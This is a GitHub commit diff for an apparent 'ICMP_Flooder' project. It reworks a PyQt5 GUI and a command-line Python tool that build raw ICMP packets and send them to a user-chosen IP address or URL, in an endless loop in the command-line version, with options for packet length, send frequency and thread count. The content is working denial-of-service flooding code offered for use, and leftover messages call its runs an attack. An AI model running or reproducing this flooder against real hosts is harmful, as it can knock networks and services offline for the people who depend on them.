Skip to content

Commit 453a40c

Browse files
committed
new version
1 parent d7576dd commit 453a40c

File tree

2 files changed

+100
-126
lines changed

2 files changed

+100
-126
lines changed

icmp_flooder.py

Lines changed: 39 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -2,19 +2,11 @@
22
import socket
33
import struct
44
import time
5+
import icmp_flooder_cmd
56
from PyQt5.QtWidgets import QMainWindow, QLabel, QGridLayout, QPushButton, QWidget, QApplication, QLineEdit
67

7-
class MainWindow(QWidget):
8-
# Convert data from QLineEdit to send ICMP packets
9-
def sendTo(self):
10-
ip = str(self.entry1.text())
11-
port = int(self.entry2.text())
12-
length = int(self.entry3.text())
13-
freq = float(self.entry4.text())
14-
15-
icmp = Flooder()
16-
icmp.create_socket(ip, port, length, freq)
178

9+
class MainWindow(QWidget):
1810
def __init__(self):
1911
super(MainWindow, self).__init__()
2012
self.setWindowTitle('ICMP Packet')
@@ -25,7 +17,7 @@ def initGUI(self):
2517
lbl2 = QLabel('Specify port: ', self)
2618
lbl3 = QLabel('Specify packet length: ', self)
2719
lbl4 = QLabel('Specify frequency value :', self)
28-
20+
2921
self.entry1 = QLineEdit(self)
3022
self.entry2 = QLineEdit(self)
3123
self.entry3 = QLineEdit(self)
@@ -55,10 +47,18 @@ def initGUI(self):
5547
self.setGeometry(600, 470, 600, 400)
5648
self.show()
5749

58-
# Involve if this window needed
50+
def sendTo(self):
51+
ip = str(self.entry1.text())
52+
port = int(self.entry2.text())
53+
length = int(self.entry3.text())
54+
freq = float(self.entry4.text())
55+
56+
icmp_flooder_cmd.Flooder(ip, port, length, freq, 1)
57+
58+
5959
class Window(QWidget):
60-
def __init__(self):
61-
super(Window, self).__init__()
60+
def __init__(self, flags, *args, **kwargs):
61+
super().__init__(flags, *args, **kwargs)
6262
self.setWindowTitle('Sending Packets')
6363
self.initGUI()
6464

@@ -79,40 +79,31 @@ def initGUI(self):
7979
self.show()
8080

8181

82-
class Flooder:
83-
# Check data, calculated from the ICMP header and data
84-
def checksum(self, msg):
85-
s = 0
86-
for i in range(0, len(msg), 2):
87-
w = msg[i] + (msg[i+1] << 8)
88-
s = ((s + w) & 0xffff) + ((s + w) >> 16)
89-
return socket.htons(~s & 0xffff)
90-
91-
# Construct the header and data of packet and pack it
92-
def construct_packet(self, length):
93-
header = struct.pack("bbHHh", 8, 0, 0, 1, 1)
94-
data = (length - 50) * 'Q'
95-
data = struct.pack("d", time.time()) + data.encode('ascii')
96-
header = struct.pack("bbHHh", 8, 0, socket.htons(self.checksum(header + data)), 1, 1)
97-
return header + data
98-
99-
# Create socket to send packets to specified ip address
100-
# Close the created socket after using
101-
def create_socket(self, ip, port, length, freq):
102-
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
103-
104-
# This loop is for sending packet to target infinitely
105-
#while(KeyboardInterrupt):
106-
# packet = self.construct_packet(length)
107-
# sock.sendto(packet, (ip, port))
108-
# time.sleep(freq)
109-
110-
for i in range(0, 10):
111-
packet = self.construct_packet(length)
112-
sock.sendto(packet, (ip, port))
113-
time.sleep(freq)
114-
115-
sock.close()
82+
# class Flooder:
83+
# @staticmethod
84+
# def checksum(msg):
85+
# s = 0
86+
# for i in range(0, len(msg), 2):
87+
# w = msg[i] + (msg[i+1] << 8)
88+
# s = ((s + w) & 0xffff) + ((s + w) >> 16)
89+
# return socket.htons(~s & 0xffff)
90+
#
91+
# def construct_packet(self, length):
92+
# header = struct.pack("bbHHh", 8, 0, 0, 1, 1)
93+
# data = (length - 50) * 'Q'
94+
# data = struct.pack("d", time.time()) + data.encode('ascii')
95+
# header = struct.pack("bbHHh", 8, 0, socket.htons(self.checksum(header + data)), 1, 1)
96+
# return header + data
97+
#
98+
# def create_socket(self, ip, port, length, freq):
99+
# sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
100+
# for i in range(0, 10):
101+
# packet = self.construct_packet(length)
102+
# sock.sendto(packet, (ip, port))
103+
# time.sleep(freq)
104+
#
105+
# sock.close()
106+
116107

117108
if __name__ == '__main__':
118109
app = QApplication(sys.argv)

icmp_flooder_cmd.py

Lines changed: 61 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,55 @@
1-
# FIX: can`t close opened threads
2-
31
import sys
42
import time
5-
import string
63
import struct
74
import socket
85
import argparse
96
from threading import Thread, Event
107

8+
9+
def log_print():
10+
print(" ___ _ _ \n" +
11+
" / __\ | ___ ___ __| | ___ _ __ \n" +
12+
" / _\ | |/ _ \ / _ \ / _` |/ _ \ '__|\n" +
13+
"/ / | | (_) | (_) | (_| | __/ | \n" +
14+
"\/ |_|\___/ \___/ \__,_|\___|_| \n")
15+
16+
17+
def check_args(args):
18+
if args.i: pass
19+
elif args.u: args.i = socket.gethostbyname(args.u)
20+
else: sys.stderr('Error. Address is not specified')
21+
22+
args.p = args.p if 0 < int(args.p) < 65530 else 80
23+
args.l = args.l if args.l > 51 else 60
24+
args.f = args.f if args.f > 0.1 else 0.1
25+
args.t = args.t if args.t >= 0 else 1
26+
27+
print(f'Address: {args.i}\nPort: {args.p}\nLength: {args.l}\nFrequency: {args.f}\nThreads: {args.t}\n')
28+
29+
1130
class Flooder:
12-
# Check data, calculated from the ICMP header and data
13-
def checksum(self, msg):
31+
def __init__(self, ip, port, length, freq, threads):
32+
self.create_socket(ip, port, length, freq)
33+
# event = Event()
34+
# list_threads = []
35+
# try:
36+
# for i in range(threads):
37+
# thread = Thread(target=self.create_socket(ip, port, length, freq))
38+
# thread.daemon = True
39+
# thread.start()
40+
# list_threads.append(thread)
41+
# except KeyboardInterrupt:
42+
# event.set()
43+
# print('\t Stop open threads ...\n')
44+
# for thread in list_threads:
45+
# thread.join()
46+
# print('\t Attack has been stopped!!!\n')
47+
48+
@staticmethod
49+
def checksum(msg):
1450
sum = 0
1551
for i in range(0, len(msg), 2):
16-
w = ord(msg[i]) + (ord(msg[i+1]) << 8)
52+
w = msg[i] + (msg[i + 1] << 8)
1753
sum = ((sum + w) & 0xffff) + ((sum + w) >> 16)
1854
return socket.htons(~sum & 0xffff)
1955

@@ -31,80 +67,27 @@ def create_socket(self, ip, port, length, freq):
3167
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
3268
socket.inet_aton(ip)
3369

34-
while(True):
70+
while True:
3571
packet = self.construct_packet(length)
3672
sock.sendto(packet, (ip, port))
3773
time.sleep(freq)
38-
39-
sock.close()
40-
41-
def main(self, argv):
42-
parser = argparse.ArgumentParser(prog="ICMP_Flooder", description="ICMP-packets flooder." +
43-
" This programm creates and sends the ICMP-packets to target IP-address/URL" +
44-
" address. You can change port number, length of packet and frequence of sending.\n",
45-
epilog='Contact with me on "https://github.com/breadrock1" \n\n')
46-
parser.add_argument('-i', help='Enter target ip address of destination', metavar='', type=str.format)
47-
parser.add_argument('-u', help='Enter target url address', metavar='', type=str)
48-
parser.add_argument('-p', help='Specify port number', metavar='', default=69, type=int)
49-
parser.add_argument('-l', help='Specify packet length', metavar='', default=60, type =int)
50-
parser.add_argument('-f', help='Specify value of frequence to send packet', metavar='', default=0.01, type=float)
51-
parser.add_argument('-t', help='Count thread', metavar='', default=1, type=int)
52-
args = parser.parse_args()
53-
54-
print(" ___ _ _ \n" +
55-
" / __\ | ___ ___ __| | ___ _ __ \n" +
56-
" / _\ | |/ _ \ / _ \ / _` |/ _ \ '__|\n" +
57-
"/ / | | (_) | (_) | (_| | __/ | \n" +
58-
"\/ |_|\___/ \___/ \__,_|\___|_| \n")
59-
60-
# Try to get ip address of destination (by url too)
61-
if args.u:
62-
url = args.u
63-
ip_addr = socket.gethostbyname(url)
64-
print("Specific Url: ", url)
65-
if args.i:
66-
ip_addr = args.i
67-
print("Specific IP-Address: ", ip_addr)
68-
69-
# Check for correct port number to send packet
70-
if int(args.p) > 0 and int(args.p) < 65530:
71-
print("Specific port: ", int(args.p))
72-
elif int(args.p) == 69:
73-
print("Default port: ", int(args.p))
74-
else:
75-
print("No valid port number")
76-
sys.exit()
77-
78-
# Check for correct value of lenhgth of packet
79-
if int(args.l) < 51:
80-
print("Is too few length")
81-
sys.exit()
82-
elif int(args.l) == 60:
83-
print("Default length: ", int(args.l))
84-
else:
85-
print("Specific length of packet: ", int(args.l))
86-
87-
# Check for correct value of frequency to send packets
88-
if float(args.f) == 0.1:
89-
print("Default times: ", float(args.f))
90-
else:
91-
print("Specific count: ", float(args.f))
92-
93-
try:
94-
evnt = Event()
95-
threads = []
96-
for i in range(args.t):
97-
thrd = Thread(target=self.create_socket(ip_addr, int(args.p), int(args.l), float(args.f)))
98-
thrd.daemon = True
99-
thrd.start()
100-
threads.append(thrd)
101-
except KeyboardInterrupt:
102-
evnt.set()
103-
print('\t Stop open threads ...\n')
104-
for thrd in threads:
105-
thrd._stop()
106-
print('\t Attack has been stopped!!!\n')
74+
sock.close()
75+
10776

10877
if __name__ == "__main__":
109-
flood = Flooder()
110-
flood.main(sys.argv[1:])
78+
log_print()
79+
parser = argparse.ArgumentParser(prog="ICMP_Flooder", description="ICMP-packets flooder." +
80+
" This programm creates and sends the ICMP-packets to target IP-address/URL" +
81+
" address. You can change port number, length of packet and frequence of sending.\n",
82+
epilog='Contact with me on "https://github.com/breadrock1" \n\n')
83+
parser.add_argument('-i', help='Enter target ip address', metavar='', required=True, type=str)
84+
parser.add_argument('-u', help='Enter target url address', metavar='', required=False, type=str)
85+
parser.add_argument('-p', help='Specify the port number', metavar='', required=True, default=80, type=int)
86+
parser.add_argument('-t', help='Specify number of threads', metavar='', required=False, default=1, type=int)
87+
parser.add_argument('-l', help='Specify the packet length', metavar='', required=False, default=60, type=int)
88+
parser.add_argument('-f', help='Specify value of frequents', metavar='', required=False, default=0.1, type=float)
89+
arguments = parser.parse_args()
90+
91+
check_args(arguments)
92+
flood = Flooder(arguments.i, arguments.p, arguments.l, arguments.f, arguments.t)
93+

0 commit comments

Comments
 (0)